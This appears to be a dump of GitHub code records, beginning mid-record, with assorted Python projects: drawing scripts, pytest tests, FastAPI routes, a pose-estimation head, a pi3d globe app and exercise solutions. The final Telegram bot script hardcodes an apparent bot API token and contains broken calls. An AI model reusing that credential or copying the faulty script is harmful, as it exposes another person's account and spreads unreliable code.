сообщения')\n","repo_name":"AndreyIzotov/vk_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72365463093","text":"from drawings import preamble, postamble, draw_tetromino, draw_square\n\ndef draw_strip(height, length):\n    i = 0\n    parity = 0\n    x = 1.5 \n    while i < length:\n        y = height + 1.5 - parity\n        r = 2 * parity\n        extras = ['dashed'] if 0 < i < 3 else []\n        yield (x, y, r, extras)\n        x = x + 2\n        parity = 1 - parity\n        i = i + 1\n        \nif __name__ == '__main__':\n    preamble()\n    strip1 = list(draw_strip(6, 4))\n    strip2 = list(draw_strip(3, 4))\n    strip3 = list(draw_strip(0, 5))\n    tetrominos = strip1 + strip2 + strip3\n    for x, y, t, extras in tetrominos:\n        draw_tetromino(x, y, t, extras)\n    squares = [(0, 0), (10, 0), (0, 3), (8, 4), (9, 3), (9, 4), (0, 6), (8, 7)] \n    for x, y in squares:\n        draw_square(x, y, extras=['pattern = north east lines'])\n    postamble()\n","repo_name":"jwg4/t-tetromino","sub_path":"writing/strips.py","file_name":"strips.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38949567562","text":"import json\nimport logging\nimport os\nimport joblib\nimport pytest\nfrom prediction_service.prediction import form_response, api_response\nimport prediction_service\n\ninput_data = {\n    \"incorrect_range\": \n    {\"accelerations\": 7897897, \n    \"prolongued_decelerations\": 555, \n    \"abnormal_short_term_variability\": 99, \n    \"percentage_of_time_with_abnormal_long_term_variability\": 99, \n    \"histogram_mode\": 200, \n    \"histogram_mean\": 789\n    },\n\n    \"correct_range\":\n    {\"accelerations\": 0.01, \n    \"prolongued_decelerations\": 0.001, \n    \"abnormal_short_term_variability\": 45.0, \n    \"percentage_of_time_with_abnormal_long_term_variability\": 45.0, \n    \"histogram_mode\": 90.0, \n    \"histogram_mean\": 100.0\n    },\n\n    \"incorrect_col\":\n    {\"accelerations\": 0.01, \n    \"prolongued decelerations\": 0.001, \n    \"abnormal short_term_variability\": 45.0, \n    \"percentage of_time_with_abnormal_long_term_variability\": 45.0, \n    \"histogram mode\": 90.0, \n    \"histogram mean\": 100.0\n    }\n}\n\nTARGET_range = {\n    \"min\": 1.0,\n    \"max\": 3.0\n}\n\ndef test_form_response_correct_range(data=input_data[\"correct_range\"]):\n    res = form_response(data)\n    assert  TARGET_range[\"min\"] <= res <= TARGET_range[\"max\"]\n\ndef test_api_response_correct_range(data=input_data[\"correct_range\"]):\n    res = api_response(data)\n    assert  TARGET_range[\"min\"] <= res[\"response\"] <= TARGET_range[\"max\"]\n\ndef test_form_response_incorrect_range(data=input_data[\"incorrect_range\"]):\n    with pytest.raises(prediction_service.prediction.NotInRange):\n        res = form_response(data)\n\ndef test_api_response_incorrect_range(data=input_data[\"incorrect_range\"]):\n    res = api_response(data)\n    assert res[\"response\"] == prediction_service.prediction.NotInRange().message\n\ndef test_api_response_incorrect_col(data=input_data[\"incorrect_col\"]):\n    res = api_response(data)\n    assert res[\"response\"] == prediction_service.prediction.NotInCols().message ","repo_name":"Abhoredaj/mlops1","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10185526596","text":"from typing import List, Union\n\nfrom fastapi import APIRouter, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom poll_us_platform.db.dependencies import get_db_session\nfrom poll_us_platform.db.models.user import User\nfrom poll_us_platform.services.question.actions import (\n    create_new_question,\n    delete_question,\n    get_question_result,\n    get_single_question,\n    get_user_questions,\n    publish_question,\n    update_question,\n)\nfrom poll_us_platform.services.question.models import (\n    QuestionCreate,\n    QuestionResult,\n    QuestionShow,\n    QuestionUpdate,\n)\nfrom poll_us_platform.utils.current_user import get_current_user\n\nrouter = APIRouter()\n\n\n@router.post(\"/questions/{pk}/publish\")\nasync def question_publish(\n    pk: int,\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> str:\n    \"\"\"Publish question\"\"\"\n    return await publish_question(pk, current_user, db)\n\n\n@router.get(\"/questions/{publish_id}/result\")\nasync def question_result(\n    publish_id: str,\n    db: AsyncSession = Depends(get_db_session),\n) -> QuestionResult:\n    \"\"\"Get question result\"\"\"\n    return await get_question_result(publish_id, db)\n\n\n@router.post(\"/questions\")\nasync def question_create(\n    body: QuestionCreate,\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> QuestionShow:\n    \"\"\"Create question\"\"\"\n    return await create_new_question(body, current_user, db)\n\n\n@router.get(\"/questions\")\nasync def questions_list(\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> List[QuestionShow]:\n    \"\"\"Get questions list\"\"\"\n    return await get_user_questions(current_user, db)\n\n\n@router.get(\"/questions/{pk}\")\nasync def question_show(\n    pk: Union[int, str],\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> Union[QuestionShow, None]:\n    \"\"\"Show single question\"\"\"\n    return await get_single_question(pk, current_user, db)\n\n\n@router.delete(\"/questions/{pk}\")\nasync def question_delete(\n    pk: int,\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> bool:\n    \"\"\"Delete question\"\"\"\n    return await delete_question(pk, current_user, db)\n\n\n@router.put(\"/questions/{pk}\")\nasync def question_update(\n    pk: int,\n    body: QuestionUpdate,\n    current_user: User = Depends(get_current_user),\n    db: AsyncSession = Depends(get_db_session),\n) -> bool:\n    \"\"\"Update questions\"\"\"\n    return await update_question(pk, body, current_user, db)\n","repo_name":"monteri/poll_us_platform","sub_path":"poll_us_platform/web/api/questions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4134360921","text":"import sys\nbenchmark_dirs = '/home/social-sim/Documents/SocialSimCodeTesting/GCN/sgc/banchmarks'\nsys.path.insert(0, benchmark_dirs)\nfrom clsf_benchmarks import *\n\n\ndata = initialization(benchmark_dirs + '/iris.data')\nX,y = get_X_y(data)\nX_train, X_test, y_train, y_test = split_data(X,y)\nevaluate_benchmarks(X_train, X_test, y_train, y_test, 'test2', 'test2', 'test2','test_plots')\n\n\n","repo_name":"NedaHBidoki/SGC_paper","sub_path":"sgc/preprocess_DARPA_data/process_data/files_under_test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19393044211","text":"import torch\nfrom torch import nn\nfrom typing import Tuple, List, Union\n\n\nfrom pipeline.losses import L1Loss, SigmoidFocalLoss, MSELoss\nfrom pipeline.utils import draw_heatmap\n\n\nclass KeypointsExtractorHead(nn.Module):\n    def __init__(self,\n                 input_feature_depth: int,\n                 output_feature_depth: int,\n                 use_offsets=False,\n                 offsets_factor=1,\n                 channels_number=None,\n                 output_stride: int = 1,\n                 thrs_conf: float = 0.3,\n                 expand_channels=False,\n                 test=False):\n        super(KeypointsExtractorHead, self).__init__()\n        if not channels_number:\n            self._channels_number = input_feature_depth\n        else:\n            self._channels_number = channels_number\n\n        number_of_diff_convs = 2\n        if expand_channels:\n            self._channels_list = [self._channels_number // 2, self._channels_number]\n        else:\n            self._channels_list = [self._channels_number for _ in range(number_of_diff_convs)]\n\n        self._input_feature_depth = input_feature_depth\n        self._output_feature_depth = output_feature_depth\n        self._use_offsets = use_offsets\n        self._offsets_factor = offsets_factor\n        self._test = test\n        self._score_threshold = thrs_conf\n        self._output_stride = output_stride\n        self._hm_loss = SigmoidFocalLoss()\n\n        if self._use_offsets:\n            self._offsets_loss = MSELoss()\n\n        self._init_layers()\n\n    def _init_layers(self):\n        self._first_hm_conv_block = nn.Sequential(\n            nn.Conv2d(self._input_feature_depth, self._channels_list[0], 3, 1, 1),\n            nn.BatchNorm2d(self._channels_list[0]),\n            nn.ReLU(inplace=False)\n        )\n\n        self._second_hm_conv_block = nn.Sequential(\n            nn.Conv2d(self._channels_list[0], self._channels_list[1], 3, 1, 1),\n            nn.BatchNorm2d(self._channels_list[1]),\n            nn.ReLU(inplace=False)\n        )\n\n        self._last_hm_conv_module = nn.Conv2d(self._channels_list[1], self._output_feature_depth, 3, 1, 1)\n        self._hm_layers = nn.Sequential(self._first_hm_conv_block,\n                                        self._second_hm_conv_block,\n                                        self._last_hm_conv_module)\n        if self._use_offsets:\n            self._first_offset_conv_block = nn.Sequential(\n                nn.Conv2d(self._input_feature_depth, self._channels_list[0], 3, 1, 1),\n                nn.BatchNorm2d(self._channels_list[0]),\n                nn.ReLU(inplace=False)\n            )\n\n            self._second_offset_conv_block = nn.Sequential(\n                nn.Conv2d(self._channels_list[0], self._channels_list[1], 3, 1, 1),\n                nn.BatchNorm2d(self._channels_number),\n                nn.ReLU(inplace=False)\n            )\n\n            self._last_offset_conv_module = nn.Conv2d(self._channels_list[1],\n                                                      self._output_feature_depth * 2, 3, 1, 1)\n            self._offset_layers = nn.Sequential(self._first_offset_conv_block,\n                                                self._second_offset_conv_block,\n                                                self._last_offset_conv_module)\n\n    def forward(self, x: Union[torch.tensor, List]):\n        if isinstance(x, List):\n            x = x[0]\n\n        hm_out = self._hm_layers(x)\n        if self._use_offsets:\n            offsets_out = self._offset_layers(x)\n\n        return hm_out, offsets_out if self._use_offsets else hm_out\n\n    def loss(self, predictions: Union[torch.tensor, Tuple],\n             keypoints_gt: torch.tensor):\n        if self._use_offsets:\n            hm_pred = predictions[0]\n            offset_pred = predictions[1]\n        else:\n            hm_pred = predictions\n\n        heatmaps_for_persons = torch.stack([draw_heatmap(gt_keypoints=keypoints_gt[person_idx],\n                                                         feat_shape=hm_pred.shape[1:],\n                                                         stride=self._output_stride,\n                                                         radius=0.1) for person_idx in range(len(keypoints_gt))])\n\n        hm_loss = self._hm_loss(predicted=hm_pred, gt=heatmaps_for_persons)\n        total_loss = dict(heatmaploss=hm_loss, total_loss=hm_loss)\n        if self._use_offsets:\n            encoded_offsets_gt = torch.stack(\n                [self._generate_offsets(person_heatmaps_gt=heatmaps_for_persons[person_idx],\n                                        gt_keypoints=keypoints_gt[person_idx])\n                 for person_idx in range(len(keypoints_gt))])\n\n            offsets_loss = self._offsets_loss(predicted=offset_pred, gt=encoded_offsets_gt)\n            total_loss = dict(heatmaploss=hm_loss,\n                              offsets_loss=offsets_loss,\n                              total_loss=hm_loss + self._offsets_factor * offsets_loss)\n\n        return total_loss\n\n    def _generate_offsets(self, person_heatmaps_gt: torch.tensor,\n                          gt_keypoints: torch.tensor):\n        gt_keypoints_int = gt_keypoints.int()\n        hm_shape = person_heatmaps_gt.shape\n        offsets = torch.zeros((hm_shape[0] * 2, hm_shape[1], hm_shape[2]),\n                              device=person_heatmaps_gt.device, dtype=torch.int64)\n        heatmaps_flattened = person_heatmaps_gt.view(hm_shape[0], hm_shape[1] * hm_shape[2])\n        non_zero_idxs = heatmaps_flattened.nonzero()\n        for idx, keypoint in enumerate(gt_keypoints_int):\n            if keypoint[2] != 2:\n                continue\n            current_gaussian_idxs = non_zero_idxs[non_zero_idxs[..., 0] == idx][..., 1]\n            xs = current_gaussian_idxs % hm_shape[2]\n            ys = current_gaussian_idxs // hm_shape[1]\n            encoded_offsets_x = -(xs * self._output_stride - keypoint[0])\n            encoded_offsets_y = -(ys * self._output_stride - keypoint[1])\n\n            offsets[idx * 2, ys.long(), xs.long()] = encoded_offsets_x\n            offsets[idx * 2 + 1, ys.long(), xs.long()] = encoded_offsets_y\n\n        return offsets\n\n    def get_keypoints(self, predicted: Union[torch.tensor, Tuple], batch_info: torch.tensor):\n        if self._use_offsets:\n            hm_predicted = predicted[0]\n            offsets = predicted[1]\n        else:\n            hm_predicted = predicted\n\n        hm_predicted = hm_predicted.sigmoid()\n        feature_shape = hm_predicted.shape\n        predicted_flattened = hm_predicted.view(feature_shape[0], feature_shape[1],\n                                                feature_shape[2] * feature_shape[3])\n        maxs, argmaxes = torch.max(predicted_flattened, dim=-1)\n\n        argmaxes_to_keypoints = torch.zeros((argmaxes.shape[0], argmaxes.shape[1], 2))\n        argmaxes_to_keypoints[..., 0] = argmaxes % feature_shape[3]\n        argmaxes_to_keypoints[..., 0][argmaxes_to_keypoints[..., 0] < 0] = 0\n        argmaxes_to_keypoints[..., 1] = argmaxes // feature_shape[2]\n\n        if self._use_offsets:\n            x_offsets = offsets[:, 0::2, ...]\n            y_offsets = offsets[:, 1::2, ...]\n            x_offsets_flattened = x_offsets.view(x_offsets.shape[0], x_offsets.shape[1], x_offsets.shape[2] *\n                                                 x_offsets.shape[3])\n            y_offsets_flattened = y_offsets.view(y_offsets.shape[0], y_offsets.shape[1], y_offsets.shape[2] *\n                                                 y_offsets.shape[3])\n\n            x_offsets_from_argmaxes = torch.gather(x_offsets_flattened, 2, argmaxes.unsqueeze(-1))\n            y_offsets_from_argmaxes = torch.gather(y_offsets_flattened, 2, argmaxes.unsqueeze(-1))\n\n            argmaxes_to_keypoints *= self._output_stride\n            argmaxes_to_keypoints[..., 0] += x_offsets_from_argmaxes.squeeze(-1).to(device=argmaxes_to_keypoints.device)\n            argmaxes_to_keypoints[..., 1] += y_offsets_from_argmaxes.squeeze(-1).to(device=argmaxes_to_keypoints.device)\n        else:\n            argmaxes_to_keypoints *= self._output_stride\n\n        visability = torch.zeros_like(argmaxes_to_keypoints[..., 1]).unsqueeze(-1)\n\n        validated_maxs_idxs = maxs >= self._score_threshold\n        unvalidated_idxs = maxs < self._score_threshold\n        visability[validated_maxs_idxs] = 2\n        argmaxes_to_keypoints[unvalidated_idxs] = 0\n\n        argmaxes_to_keypoints = torch.cat([argmaxes_to_keypoints, visability], dim=-1)\n\n        output_keypoints_as_array = []\n        if self._test:\n            if False:\n                import cv2\n                import numpy as np\n                canvas = np.zeros((predicted.shape[-2], predicted.shape[-1], 1))\n                for kps in argmaxes_to_keypoints[0]:\n                    canvas = cv2.circle(canvas, (int(kps[0]), int(kps[1])), 4, (255, 255, 255), 2)\n                cv2.imshow('canvas', canvas)\n                cv2.waitKey(0)\n\n            for image_idx in range(argmaxes_to_keypoints.shape[0]):\n                keypoints = argmaxes_to_keypoints[image_idx]\n                pad_x = batch_info['pad_x']\n                pad_y = batch_info['pad_y']\n                scale = batch_info['scale']\n                keypoints[..., 0] -= pad_x\n                keypoints[..., 1] -= pad_y\n                keypoints[..., :2] /= scale\n\n                output_keypoints_as_array.append(keypoints)\n        else:\n            output_keypoints_as_array = argmaxes_to_keypoints.cpu().numpy()\n\n        return output_keypoints_as_array\n","repo_name":"letsmakeadeal/SinglePersonKeypoints","sub_path":"nn_constructors/loss_heads/keypoints_head.py","file_name":"keypoints_head.py","file_ext":"py","file_size_in_byte":9469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"24567929020","text":"#!/usr/bin/python3\n# convert hex to rgba between 0 and 1\nfrom gi.repository import Gdk\n\ndef gdkrgba_to_hex(color):\n    try :\n        rgba_color = color.to_string()\n        a,col1 = rgba_color.split('(')\n        col1,col2,col3,col4 = col1.split(',')\n        col4,b= col4.split(')')\n        \n        lst = [int(col1), int(col2), int(col3), int(float(col4)*255)]\n        \n        hex = '#%02x%02x%02x%02x' % (lst[0], lst[1], lst[2], lst[3])\n    except :\n        rgba_color = color.to_string()\n        a,col1 = rgba_color.split('(')\n        col1,col2,col3 = col1.split(',')\n        col3,b= col3.split(')')\n        \n        lst = [int(col1), int(col2), int(col3)]\n        \n        hex = '#%02x%02x%02x' % (lst[0], lst[1], lst[2])\n    \n    return hex","repo_name":"0m3re/SNCF","sub_path":"visuel/gdkrgba_to_hex.py","file_name":"gdkrgba_to_hex.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"11553582678","text":"def decToBin36(n):\n    result = []\n    while n != 0:\n        m = n % 2\n        result.append(m)\n        n = n // 2\n    for i in range(len(result), 36):\n        result.append(0)\n    return result\n\n\ndef bin36ToDec(a):\n    result = 0\n    for i in range(len(a)):\n        result += a[i] * 2**i\n    return result\n\n\ndef incrementBin(n):\n    remainder = 1\n    for i in range(len(n)):\n        val = (n[i] + remainder) % 2\n        remainder = (n[i] + remainder) // 2\n        n[i] = val\n    return n\n\n\n# Value in base 10, return base 10\ndef maskAddress(a, mask):\n    v = decToBin36(int(a))\n    floatingIndices = []\n    for i in range(36):\n        mIndex = 35 - i\n        if mask[mIndex] != \"0\":\n            if mask[mIndex] == \"1\":\n                v[i] = 1\n            else:\n                v[i] = None\n                floatingIndices.append(i)\n    f = [1] * len(floatingIndices)\n    results = []\n    maxF = bin36ToDec(f) + 1\n    for i in range(maxF):\n        f = incrementBin(f)\n        for j in range(len(f)):\n            v[floatingIndices[j]] = f[j]\n        results.append(str(bin36ToDec(v)))\n    return results\n\n\ndef main():\n    f = open(\"input\")\n    mask = \"X\" * 36\n    mem = {}\n    for line in f:\n        if len(line.strip()) != 0:\n            command, value = line.strip().split(\" = \")\n            if command == \"mask\":\n                mask = value\n            else:\n                value = int(value)\n                address = command[4:-1]\n                addressList = maskAddress(address, mask)\n                for e in addressList:\n                    mem[e] = value\n    sum = 0\n    for e in mem:\n        sum += mem[e]\n    print(sum)\n\n\nmain()\n","repo_name":"GuidoFe/AdventOfCoding2020","sub_path":"14-docking/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39088992953","text":"#!/usr/bin/python\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom ft5406 import Touchscreen, Touch\nfrom part_three_reader import Part3Reader\nfrom interface_state import InterfaceState\nfrom options import OptionsDialogue,OptionsEvent\nfrom globes import Globes\n\nfrom math import sin,cos,log\nimport pi3d, pickle, sensor_monitor, numpy as np\nfrom scipy.spatial.transform import Rotation\nfrom motion_delegate import UserGestures\nfrom wifi_process_manager import WirelessToolkit\n#from wifi_thread_manager import WirelessToolkit\nfrom zoom_interp import ZoomInterpolator\n\n#constants\nback_wall=-15.0     #camera's max z coordinate\ninitial_cam_z=-12.0         #camera's initial z coordinate\npartition=120       #sphere geometry complexity\ntouchscreen_id='generic ft5x06 (00)'\npoetryxml='/var/www/html/xml/poems.xml'\nfontpath='/var/www/html/css/fonts/Karma/Karma-Bold.ttf'\nroot_dir='/home/pi/globe/'\n\n#camera state\ncam_z=initial_cam_z\nautoplay=list()\n\n######################################\n#       3d Infrastructure Setup\n######################################\n\n# Setup display and initialise pi3d\ndisplay = pi3d.Display.create(x=0, y=0, frames_per_second=30, display_config=pi3d.DISPLAY_CONFIG_HIDE_CURSOR | pi3d.DISPLAY_CONFIG_MAXIMIZED)\n#display = pi3d.Display.create(x=0, y=0, frames_per_second=30, display_config=pi3d.DISPLAY_CONFIG_MAXIMIZED)\ndisplay.set_background(0,0,0,255)    # RGBA\nflatsh = pi3d.Shader(\"uv_flat\")\n\nlight = pi3d.Light(lightpos=(0.0, 0.0, back_wall))\n#these two shaders implement a 2-pass Gaussian blur filter\nhblur=pi3d.Shader(root_dir+\"shaders/filter_hblur\")\nvblur=pi3d.Shader(root_dir+\"shaders/filter_vblur\")\nhshader = pi3d.PostProcess(shader=hblur)\nvshader = pi3d.PostProcess(shader=vblur)\n\n#main camera\ncam = pi3d.Camera(eye=(0,0,cam_z))\n#torus camera\ncam2 = pi3d.Camera(eye=(0,0,cam_z))\n#2d camera for the menu\ncam_flat=pi3d.Camera(is_3d=False)\n\n#this object tracks the interface state: fade between torus/globes\nui_state:InterfaceState=InterfaceState()\n\n\n######################################\n#       Globe Setup\n######################################\nglobes:Globes=Globes(cam,flatsh,display)\n\n######################################\n#       User IF Setup\n######################################\n\n# Fetch key presses\nkeys = pi3d.Keyboard()\nmouse=pi3d.Mouse(use_x=True)\n\n# Event manager for handling touchscreen events\ngesture_mgr=UserGestures()\ndef ifnauto(action,a,b):\n    if len(autoplay)==0:\n        action(a,b)\ndef makeTS():\n    try:\n        tscr=Touchscreen(touchscreen_id)   \n        for touchHandle in tscr.touches:\n            touchHandle.on_press = lambda a,b: gesture_mgr.down(a,b)\n            touchHandle.on_release = lambda a,b: gesture_mgr.up(a,b)\n            touchHandle.on_move = lambda a,b: ifnauto(gesture_mgr.push,a,b)\n        tscr.run()\n        return tscr\n    except Exception as ex:\n        print(ex)\nts = makeTS()\n\n######################################\n#       Globe Rotation/&c\n######################################\n\ndef init_zoom():\n    if len(autoplay)==0:\n        targetZ=globes.findNextFocalLength(cam_z)\n        #at 30fps, 45 frames is a second and a half\n        autoplay.extend(ZoomInterpolator(45).get_frames(cam_z,targetZ))\n\n######################################\n#       Alternate Interface (Options & Torus; Wireless)\n######################################\ndef ambience_changed(alpha):\n    global ui_state\n    if alpha==0:\n        ui_state.show_normal()\n    else:\n        ui_state.show_closed()\nsensor_monitor=sensor_monitor.make_monitor(ambience_changed)\nsensor_monitor.start()\ntorus=pi3d.Torus(radius=4,thickness=2,camera=cam2,name='torus',ringrots=int(partition/2),sides=partition)\ntextReader=Part3Reader(poetryxml,fontpath,torus,flatsh)\nwireless:WirelessToolkit=None\ndef toggle_evil(stuff:OptionsEvent):\n    wireless.cycle_ap(stuff.value)\ndef handle_click(_event,double_click:bool):\n    if double_click:\n        init_zoom()\n    else:\n        option_screen.test_ui_event(_event,double_click)\noption_screen=OptionsDialogue(fontpath,toggle_evil,(display.width,display.height),cam_flat,flatsh)\ngesture_mgr.add_click_handler(handle_click)\nwireless=WirelessToolkit()\nwireless.add_status_handler(option_screen.status_message)\nwireless.start()\n\n######################################\n#       Keys and Mouse\n######################################\ndef appx(x):\n    global gesture_mgr\n    gesture_mgr.x=x\ndef appy(x):\n    global gesture_mgr\n    gesture_mgr.y=x\ndef appz(x):\n    global gesture_mgr\n    gesture_mgr.z=x\n#a=97;z=122;q=113;arrows u,d,l,r=134,135,136,137\nkeyActions={97:lambda:appz(-10),122:lambda:appz(10),134:lambda:appy(10),135:lambda:appy(-10),136:lambda:appx(10),137:lambda:appx(-10)}\ndef doKeys(k):\n    global sensor_monitor\n    if (k<=0):\n        sensor_monitor.setKeyValue(0)\n        return\n    action=keyActions.get(k)\n    if action is not None:\n        action()\n    if chr(k)=='q':\n        sensor_monitor.setKeyValue(1)\n    else:\n        sensor_monitor.setKeyValue(0)\n\n#TS does mouse emulation. Switch off mouse handling if ts present,\n#otherwise events are duplicated.\nif ts is None:\n    mouse.start()\nmouse_state=False\ndef do_mouse():\n    if ts is None:\n        global mouse_state\n        mdown=mouse.button_status()==9\n        mpos=mouse.position()\n        touch_evt=Touch(0,mpos[0],display.height-mpos[1])\n        if mouse_state and mdown:\n            gesture_mgr.push(None,touch_evt)\n        elif mouse_state:\n            gesture_mgr.up(None,touch_evt)\n        elif mdown:\n            gesture_mgr.down(None,touch_evt)\n        mouse_state=mdown\n    \n######################################\n#       Frame Loop\n######################################\nwhile display.loop_running():\n    key = keys.read()\n    do_mouse()\n    masterAlpha=ui_state.calc_frame_alpha()\n    if not globes.initialised:\n        masterAlpha=0\n    gesture_mgr.updateFrame()\n\n    doKeys(key)\n    frame_rot,tx_z=gesture_mgr.getFrameMovements()\n    d2l=globes.distanceToNextLayer(cam_z)\n    weight=1.3 if d2l is None else d2l[1]\n    #scale factor for movement.\n    #Movement should become more sluggish as the reader approaches a layer's focal point.\n    sf:float=-log(weight/1.2)/30\n    if len(autoplay)>0:\n        #autoplay contains absolute camera positions. Ignore rotation,\n        #and negate the scaling factor\n        frame_rot=[0,0,0]\n        tx_z=autoplay.pop(0)-cam_z\n        sf=5 \n    \n    #x-axis movement on screen means rotation about Y axis, & vice-versa. Invert the context here: \n    globes.doRotation([frame_rot[1]*sf,frame_rot[0]*sf,frame_rot[2]/4],gesture_mgr.getTwistCentroid(),cam_z)\n    \n    max_z=-globes.min_radius\n    cam_tz=tx_z * sf/5\n    if (cam_z+cam_tz)<back_wall:\n        cam_tz=back_wall-cam_z\n    elif (cam_z+cam_tz)>max_z:\n        cam_tz=max_z-cam_z\n    cam_z+=cam_tz\n    cam.offset((0,0,cam_tz))\n\n    globes.doLayersAlpha(masterAlpha,cam_z)\n    option_screen.set_alpha(1.0-masterAlpha)\n    textReader.set_alpha(1.0-masterAlpha)\n\n    hshader.start_capture()\n    textReader.frame()\n    globes.draw()\n    hshader.end_capture()\n    vshader.start_capture()\n    hshader.draw({42:0.3,43:0.4,44:1.00,48:0.00})\n    vshader.end_capture()\n    vshader.draw({42:0.3,43:0.4,44:1.0,48:0.00})\n    \n    option_screen.show()\n\n    #Escape to quit\n    if key==27:\n        sensor_monitor.runState=False\n        try:\n            wireless.shutdown()\n        except:\n            pass\n        mouse.stop()\n        keys.close()\n        if ts is not None:\n            ts.stop()\n        sensor_monitor.join()\n        display.stop()\n        display.destroy()\n","repo_name":"mysteryproducer/phd_resources","sub_path":"globe/textglobe.py","file_name":"textglobe.py","file_ext":"py","file_size_in_byte":7548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20744806955","text":"\ndef Complementing():\n\tdna='AAAACCCGGT'\n\tdna=reversed(dna)\n\tdna2=[]\n\tfor i in dna:\n\t\tif i == 'A':\n\t\t\tdna2.append('T')\n\t\telif i == 'T':\n\t\t\tdna2.append('A')\n\t\telif i == 'C':\n\t\t\tdna2.append('G')\n\t\telif i == 'G':\n\t\t\tdna2.append('C')\n\tprint(''.join(dna2))\n\ndef Complementing2(): #by Ben Usman in Rosalind\n\tst = 'AAAACCCGGT'\n\tst = st.replace('A', 't').replace('T', 'a').replace('C', 'g').replace('G', 'c').upper()[::-1]\n\tprint (st)\n\t#st[::-1] slicing\n\ndef Complementing3(): #by JimHokanson in Rosalind\n\ts = 'AAAACCCGGT'\n\tprint(s[::-1].translate(str.maketrans('ACGT', 'TGCA')))\n\t#str.maketrans('ACGT', 'TGCA'): a dictionary mapping Unicode ordinals (integers)\n\t#s.translate(given translation table)\n\nif __name__=='__main__':\n\tComplementing()\n\tComplementing2()\n\tComplementing3()","repo_name":"Secretloong/Rosalind-Exercise-about-Bioinforamtics","sub_path":"Bioinformatics Stronghold/003.REVC.py","file_name":"003.REVC.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22940021893","text":"'''\n@File: getAllocationUserListApi.py\n@time:2021/9/1\n@Author:quanliu\n@Desc:数据采集-获取分配人员信息接口服务类\n'''\nfrom apps.AllSystemData.DasSystem.das_api.publicCommonUrlSevice import PublicCommonUrlServiceClass\nfrom apps.AllSystemData.DasSystem.das_api.dasSystem_interface_param import DasApiInputParam\nfrom apps.Common_Config.operate_api_data import api_assemble_new\nfrom flask import current_app as app\nimport json\n\n\n@api_assemble_new()\ndef getAllocationUserListFunction(platform,searchType,jobNumber): # 请求参数为用户工号\n    app.logger.info(\"getAllocationUserListFunction--------->start\")\n    if jobNumber == \"\":\n        app.logger.error(\"getAllocationUserListFunction----->InputParameter is null\")\n        return \"请求参数为空!\"\n    # 对入参进行参数化\n    allocationPerson02 = DasApiInputParam.allocationPerson02\n    allocationPerson02[\"jobNumber\"] = jobNumber\n    allocationPerson01 = DasApiInputParam.allocationPerson01\n    allocationPerson01[\"args\"] = json.dumps(allocationPerson02)\n    url = PublicCommonUrlServiceClass().getApiUrl(platform,searchType)\n    return url,allocationPerson01","repo_name":"lhh5036/interface","sub_path":"apps/AllSystemData/DasSystem/das_api/platform_dataSample/getAllocationUserListApi.py","file_name":"getAllocationUserListApi.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11483822820","text":"import requests\n\napi_key =   [\"6392875575:AAHBcQqDbaHLNXsEUpb1WUfCsFwWsQKRlZA\"]\nurl_req    =   f\"https://api.telegram.org/bot{api_key}\"\nrequecição = requests.get(url_req+\"/getUpdates\")\nrequisição = requests.get(url_req)\nprint(requisição.statuscode)\nretorno = requisição.json()\nprint(requests.json())\nmsg = input(\"digite algo\")\nresposta = {\"chat_id\":id_chat,\"text\":msg}\nenvio = requests.post(url_req+\"/sendMenssage\",data=resposta)\n","repo_name":"fabioalves291/Prog_Redes_2023.1","sub_path":"models/teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
